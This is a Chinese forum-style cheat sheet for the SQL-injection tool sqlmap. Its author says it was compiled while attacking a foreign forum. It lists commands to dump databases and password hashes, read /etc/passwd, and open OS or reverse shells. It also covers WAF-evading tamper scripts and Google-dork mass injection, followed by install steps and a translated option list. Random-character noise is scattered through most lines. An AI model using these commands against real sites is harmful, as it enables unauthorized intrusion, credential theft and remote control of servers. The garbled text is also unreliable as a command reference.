今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、6 x" n8 E; [2 j) y; H V6 G$ Z3 [
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称) i+ T3 o' m; Y* X) R5 e
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
9 V' L- K& I3 z9 }& Fsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
# K. m. P0 T( D
: W( W- p& f6 N: isqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
. o' n; c+ n: u# {0 h& }2 o0 #获取字段内容
5 j |. V( e( x2 Y: } 3 j4 g. k. ?6 R2 _. e
******************信息获取******************4 {" F! r0 S; E& s& r9 E( k% C
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型3 [# Y7 z' v W6 O
sqlmap -u “http://url/news?id=1″ –users #列数据库用户0 t/ _8 l# f' {' G/ m2 x" t" y
sqlmap -u “http://url/news?id=1″ –dbs#列数据库/ Z+ p! D: T% J/ E- r- s. I( k
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码9 `3 N: o I( P& X2 {/ X
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
+ Z s* _4 F. A1 { b# {7 N3 bsqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”( x5 n( G8 d2 k4 Z' C R$ A2 y7 W
–start 1 –stop 20 #列出指定字段,列出20 条6 u) n$ ]! w& S( J
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表 o6 ^& J: Y1 t- z! d
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
- w6 B5 |) u* b, L/ F* ]sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色5 c9 I- |3 c% {- p& x( _
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
7 b4 U( `" u% ?: Gsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表$ |( O0 y7 W8 Z- B) N( X
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
" x! a) V( \- Q% Z/ hsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
1 A5 U1 t/ M# U4 l U( t4 Lsqlmap -u “http://url/news?id=1″-b #获取banner信息* Y: ?2 t# I7 C$ s) o2 H9 [" |
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
" i; _/ V9 G1 L2 m+ \8 {3 B9 ~; P- ^sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
% c1 A$ ]& U7 _! D+ Xsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
7 Y$ d0 @; C. `8 v0 E3 Y( a9 W$ Esqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词3 B) }9 }/ G: M: D/ T7 C' i1 l
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令9 \9 Y: x* e2 u
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
; Z' V$ b+ |; B% E x5 G- @4 |sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令" H, H P; O' E2 x; h7 e
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell: A& v/ w$ p- B/ T) ~1 ?
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表( b) W. O0 m% t) g
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
& G6 p. f, A" H: Ksqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度: Z& v, q' h: B
***********高级用法*************+ C) v. E0 |- a
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
- O; b! \- z8 @0 C5 ~sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
8 ]5 S3 F) ]# i# C$ }1 C% }–technique 测试指定注入类型\使用的技术
% Y. d! z- }. Z* U# A7 C不加参数默认测试所有注入技术# }; z9 h% ]' Z! v' F' J. \
• B: 基于布尔的SQL 盲注
; O5 G0 Y4 j M) ~• E: 基于显错sql 注入
9 q4 f+ f7 ^5 U: T, G2 ~• U: 基于UNION 注入
! a, ^! j, U+ k, o* x9 j: ]• S: 叠层sql 注入
/ T* M7 D$ a6 A! @% T• T: 基于时间盲注
5 i) I5 z* h1 z& u. E–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()7 i1 _! N2 M7 a& o2 q0 v0 u) o
–tamper 插件所在目录
' @: o5 f# H! E0 H\sqlmap-dev\tamper \; a* G4 }: u$ p2 R# F" n$ z
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
1 L5 P6 I1 f: k$ S6 x/ L8 p1 w, I6 `level 执行测试等级 攻击实例:! U, D$ V# e* i. E( w, J. h5 q
Sqlmap -u “http://url/news?id=1&Submit=Submit”# ~! o) z; m& N, G7 h0 _$ [4 c
–cookie=”PHPSESSID=41aa833e6d0d
& W$ \. H. _8 X' a. b4 a$ B8 E9 c28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user% v( Z2 H6 t. o b( x! |
–password% v; X" T7 b1 t5 I' @% c8 R
参考文档:http://sqlmap.sourceforge.net/doc/README.html* Q1 m( r6 _' Y7 a. h3 g, }9 D
***********安装最新版本*************; m8 z& b1 M# J k6 P
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
2 [% T# A( c- U1 q1 _) u6 Q% ^sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
% O+ T: |" N1 t: F! ^2 Q; Q' k, v安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
, e& t; t# G. A% Nsudo vim /home/当前用户/.bashrc7 e2 ?$ B6 `1 S/ S: l/ X
#任意位置加上:# {( ^7 r8 t3 h4 D
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效$ @. m/ l) e- W2 w5 v
如果想对所有用户有效 可设置全局 编辑下面的文件7 r2 d6 r* g: X, T
vim /etc/profile9 w# ~' N5 X+ `! ?( n7 R
同样加上:, Y$ ~( x( Z; T" y. ` M: c
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效& H P6 ]" j- w4 H0 Q
******************windows 7 (x64) sqlmap install (SVN)************
+ `% Q& {# p. B }http://www.python.org/getit/ 安装python% w* G. V1 b6 p' x- B
http://www.sliksvn.com/en/download 安装windows svn client) c: @4 {# N2 i2 Z" A6 `
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
' u, g' S9 G! [3 `0 v安装sqlmap* ?3 w: d1 X* \& d3 D, P8 }; S- Z0 N
*修改环境变量; P1 j5 D8 P( a7 d. j
–version 显示程序的版本号并退出 E$ @/ t8 I- A( a. P3 k
-h, –help 显示此帮助消息并退出
2 b# L/ o+ ~; J/ }2 K-v VERBOSE 详细级别:0-6(默认为1)- {, ~: t0 T5 h" ?" q9 Z# f/ t- N
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
Y k: U p3 f6 r; Q; N-d DIRECT 直接连接到数据库。- u' M' g2 z' R7 {) [+ L
-u URL, –url=URL 目标URL。
. I6 r$ r N9 O/ j6 c-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
7 y4 B) K" S4 q. G1 I- ]-r REQUESTFILE 从一个文件中载入HTTP 请求。
) q( G5 k+ a2 B) e-g GOOGLEDORK 处理Google dork 的结果作为目标URL。8 }3 S1 b3 Y; M+ P+ I2 P
-c CONFIGFILE 从INI 配置文件中加载选项。, @) g1 `0 U0 l3 v, ^: u
Request(请求)::. _+ S0 K: h& h5 l5 w; R/ f
这些选项可以用来指定如何连接到目标URL。# g& A7 i0 J: d5 o, x# V
–data=DATA 通过POST 发送的数据字符串# r4 Q) ]4 Y4 n2 A
–cookie=COOKIE HTTP Cookie 头
& w+ ~/ H9 {2 p4 b8 B& M–cookie-urlencode URL 编码生成的cookie 注入
8 C8 [/ G4 f: n5 ~% c& O7 }0 q–drop-set-cookie 忽略响应的Set –Cookie 头信息
9 t0 C2 @, c- ~! u * D3 j$ ?! W6 I1 x1 |4 u. I
–user-agent=AGENT 指定 HTTP User –Agent 头- J. o7 k; H5 A6 Z& s% |+ g4 d6 \ l
–random-agent 使用随机选定的HTTP User –Agent 头
/ n5 s$ C" G3 {# w" q3 b0 N+ [3 x–referer=REFERER 指定 HTTP Referer 头
% {7 }8 z% R/ r3 C–headers=HEADERS 换行分开,加入其他的HTTP 头
$ H' u6 X& o* I0 L. D! u9 u" j% ^–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)7 D: ?) h" ^1 p' s
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)1 T3 O, n) `' @! I/ ]2 ^/ {" t
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)5 k4 o+ e" _$ p- r( s8 c
–proxy=PROXY 使用HTTP 代理连接到目标URL
4 D8 B0 [* H6 o6 k4 Z; y: ]4 A–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
+ B* x9 D1 d" `1 s/ i: g–ignore-proxy 忽略系统默认的HTTP 代理
4 v3 f# J9 N3 R8 |$ k; r/ a–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
9 o0 H) p( i7 C: O) B–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
0 u# I$ s: ]8 B& a5 D# v) ]–retries=RETRIES 连接超时后重新连接的时间(默认3)
' p7 w$ ?# Z- ~- C5 d/ Y9 ]& B–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式0 \; a/ o' p7 v
–safe-url=SAFURL 在测试过程中经常访问的url 地址
, @3 t1 ?2 l0 _' j2 _3 z–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
4 ~5 u& h0 H1 j0 O6 C; qOptimization(优化): 这些选项可用于优化SqlMap 的性能。, T: p7 Y8 z0 w |2 u; J' b
-o 开启所有优化开关
' r4 S2 u0 p. [# z. m–predict-output 预测常见的查询输出
! \/ t2 I. e! G1 [1 z& ^–keep-alive 使用持久的HTTP(S)连接
# V/ u. \9 s6 @# K4 I. q–null-connection 从没有实际的HTTP 响应体中检索页面长度
, D1 O0 \" f& e. H! c7 c; I–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
2 R4 t/ u9 G) b4 ^4 X4 RInjection(注入): A! d3 s# J' [7 ]3 d# C) \6 e
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。2 q& E* |. b; L% o% r% y
-p TESTPARAMETER 可测试的参数(S)
# F5 o& h" V$ }, n+ N–dbms=DBMS 强制后端的DBMS 为此值5 y$ k2 V% _1 H. Q0 K7 `1 Q
–os=OS 强制后端的DBMS 操作系统为这个值& i' ?/ U7 h, |: d0 F- X
–prefix=PREFIX 注入payload 字符串前缀
( M s. D. A7 }–suffix=SUFFIX 注入 payload 字符串后缀6 ?* W9 L# M6 {; @7 W' M6 [
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
5 L* a2 z* U, J# Z1 _* DDetection(检测):
7 }' J* y, ~) y0 v$ s* i* G8 F这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
& F. O' x, t: l) c$ s–level=LEVEL 执行测试的等级(1-5,默认为1)
& H2 Z0 [1 D3 B" t) x3 x–risk=RISK 执行测试的风险(0-3,默认为1), a* Q4 S! L: b* F. c) l2 x" u
–string=STRING 查询时有效时在页面匹配字符串
$ I4 j: q( q* c6 v8 r–regexp=REGEXP 查询时有效时在页面匹配正则表达式
8 B0 |" Q; y( H: Q2 O$ m8 m–text-only 仅基于在文本内容比较网页
0 K `: h. f; hTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。7 i! f- b& b9 R% b. h
–technique=TECH SQL 注入技术测试(默认BEUST)4 f- J: Z0 y/ q, u
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)/ O- k/ `/ b- Q6 c
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
: b& X8 u4 r h' y! ~–union-char=UCHAR 用于暴力猜解列数的字符
* p. p& p4 S+ `% C2 \2 {5 b2 d0 EFingerprint(指纹):
A# P2 n& @3 M( V S5 N-f, –fingerprint 执行检查广泛的DBMS 版本指纹( r! [, |" h5 g0 a: k, ?
Enumeration(枚举):
6 Q* S/ M0 G% n3 M% y' P, O ( }. u9 ?2 t5 f R# Q
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。. D$ x& [1 e Y. \0 y& v
-b, –banner 检索数据库管理系统的标识# ]8 U0 C/ x- ?0 L, z3 Y9 s( y3 G
–current-user 检索数据库管理系统当前用户0 Y j' D; l) Z9 K( w
–current-db 检索数据库管理系统当前数据库
4 J: `4 p' y; i# ^, n–is-dba 检测DBMS 当前用户是否DBA/ V$ n0 h ?! V5 E, J
–users 枚举数据库管理系统用户$ {7 w" n/ X, c
–passwords 枚举数据库管理系统用户密码哈希
+ V- V( B" h, [: w–privileges 枚举数据库管理系统用户的权限
7 M& m& {9 E8 u/ j–roles 枚举数据库管理系统用户的角色0 y# o# K6 G8 ?9 n* q: l
–dbs 枚举数据库管理系统数据库
3 H# s6 k2 ?% D" B$ Y4 g–tables 枚举的DBMS 数据库中的表$ [ E; b! ?% I* n8 Q
–columns 枚举DBMS 数据库表列, p9 j) J/ R) E' m6 I
–dump 转储数据库管理系统的数据库中的表项
% v; p. a& L3 R& M" l; J–dump-all 转储所有的DBMS 数据库表中的条目) L0 h# t& I- e9 ^3 l* A5 n/ D) d
–search 搜索列(S),表(S)和/或数据库名称(S): v }: b5 m, T- T' s( o! ^! q
-D DB 要进行枚举的数据库名
. B2 L6 A# Z% G/ _, F: H! k8 b" a-T TBL 要进行枚举的数据库表
* _& K, m: w7 P8 i) ?0 T-C COL 要进行枚举的数据库列8 i2 K0 ~1 G$ Q6 F7 l3 L5 ?
-U USER 用来进行枚举的数据库用户
8 `4 I3 o y; p" ~% ^0 j7 S–exclude-sysdbs 枚举表时排除系统数据库4 w6 _7 h, ]' s" a" Y
–start=LIMITSTART 第一个查询输出进入检索0 H l5 E( L) U7 \
–stop=LIMITSTOP 最后查询的输出进入检索1 {# l8 {+ i& f; V& H
–first=FIRSTCHAR 第一个查询输出字的字符检索
% S0 n8 {% ^8 x6 O" Y–last=LASTCHAR 最后查询的输出字字符检索; l' z( _3 u! F& `/ ^ d
–sql-query=QUERY 要执行的SQL 语句; }8 e- ^6 x) x7 E
–sql-shell 提示交互式SQL 的shell3 M. i" l$ J3 K9 N
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 }: a+ P9 V% p) Z8 ?5 }–common-tables 检查存在共同表
+ l( ?- g# X. e+ Q: h7 X–common-columns 检查存在共同列, _0 d" l7 s" m! y
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
8 g' c! |- A' w8 S) c) d+ D- X–udf-inject 注入用户自定义函数5 Y6 `* r6 S1 ?+ \
–shared-lib=SHLIB 共享库的本地路径' l% [7 p0 \. k$ v
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
6 ^* G# d+ L8 R U( c6 r/ o5 N–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
! L3 f0 W2 \4 ?7 U {* w–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件5 o3 r% a4 y+ ?9 r
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
2 h% B; [" D8 x8 C2 A& \Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。: R" \5 Z$ R% }+ l0 o- B) l
–os-cmd=OSCMD 执行操作系统命令
2 V- U* L- g! _4 P) i+ J+ o+ u, G–os-shell 交互式的操作系统的shell4 p: ?; b& _7 \# T5 M9 B; |/ `2 b p
–os-pwn 获取一个OOB shell,meterpreter 或VNC
" s' Y2 `+ f$ d ~–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
- ]8 R' ?# _# {$ n–os-bof 存储过程缓冲区溢出利用- r$ e% H; T/ \) Q2 A
–priv-esc 数据库进程用户权限提升
3 c6 s7 Z6 C1 a7 B–msf-path=MSFPATH Metasploit Framework 本地的安装路径, q5 x7 D* B: M( n: n
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
- ? V8 b: l8 X/ ]- \6 G( i% m
' L9 z0 D8 F6 t, [0 EWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
2 O# u5 Y" ^" |0 d8 Y–reg-read 读一个Windows 注册表项值4 i- y0 x9 Q/ h
–reg-add 写一个Windows 注册表项值数据4 M+ n8 ?* A% k4 [% t- k
–reg-del 删除Windows 注册表键值
+ C0 z f1 K- w" `2 r/ I4 \–reg-key=REGKEY Windows 注册表键
) M& c% g$ D+ b- F( } E–reg-value=REGVAL Windows 注册表项值0 c8 m7 w0 C& b C2 r& k$ k1 N i
–reg-data=REGDATA Windows 注册表键值数据
+ ]2 u) G- t/ G/ j1 K8 s–reg-type=REGTYPE Windows 注册表项值类型/ |) ~/ P% u. \
General(一般): 这些选项可以用来设置一些一般的工作参数。+ C8 W/ g1 u7 ?
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
/ p9 P) w! D p/ y0 u-s SESSIONFILE 保存和恢复检索会话文件的所有数据
3 Q! z! p2 B! |5 z–flush-session 刷新当前目标的会话文件
" A; [. a4 V! _& [( y7 [–fresh-queries 忽略在会话文件中存储的查询结果
, w& n5 b. T/ Y3 l7 a–eta 显示每个输出的预计到达时间
) x1 d- K7 o* C5 r( r+ U# M–update 更新SqlMap' ~! |1 R5 L" A6 f
–save file 保存选项到INI 配置文件. e8 u W( h4 v
–batch 从不询问用户输入,使用所有默认配置。
, J4 e! `+ i$ K, \9 H1 ]: JMiscellaneous(杂项):3 ]2 v, C0 U, t2 \6 `
–beep 发现SQL 注入时提醒6 c4 Z( e" _5 s( i& f2 O' J1 e! y! B
–check-payload IDS 对注入payloads 的检测测试
$ Z+ n1 j+ e" P" x* n8 ]: a–cleanup SqlMap 具体的UDF 和表清理DBMS
2 A$ }) D$ u6 {–forms 对目标URL 的解析和测试形式
' { A; d* S9 t/ H' h–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果, s' B. ?3 Z0 ~. F* P
–page-rank Google dork 结果显示网页排名(PR)! R% _5 @7 x. d. \
–parse-errors 从响应页面解析数据库管理系统的错误消息2 r3 y% v8 e( G$ s4 m
–replicate 复制转储的数据到一个sqlite3 数据库: r% L$ `. K9 W; G, O
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址- f( I5 l' `% f' ?, {
–wizard 给初级用户的简单向导界面 |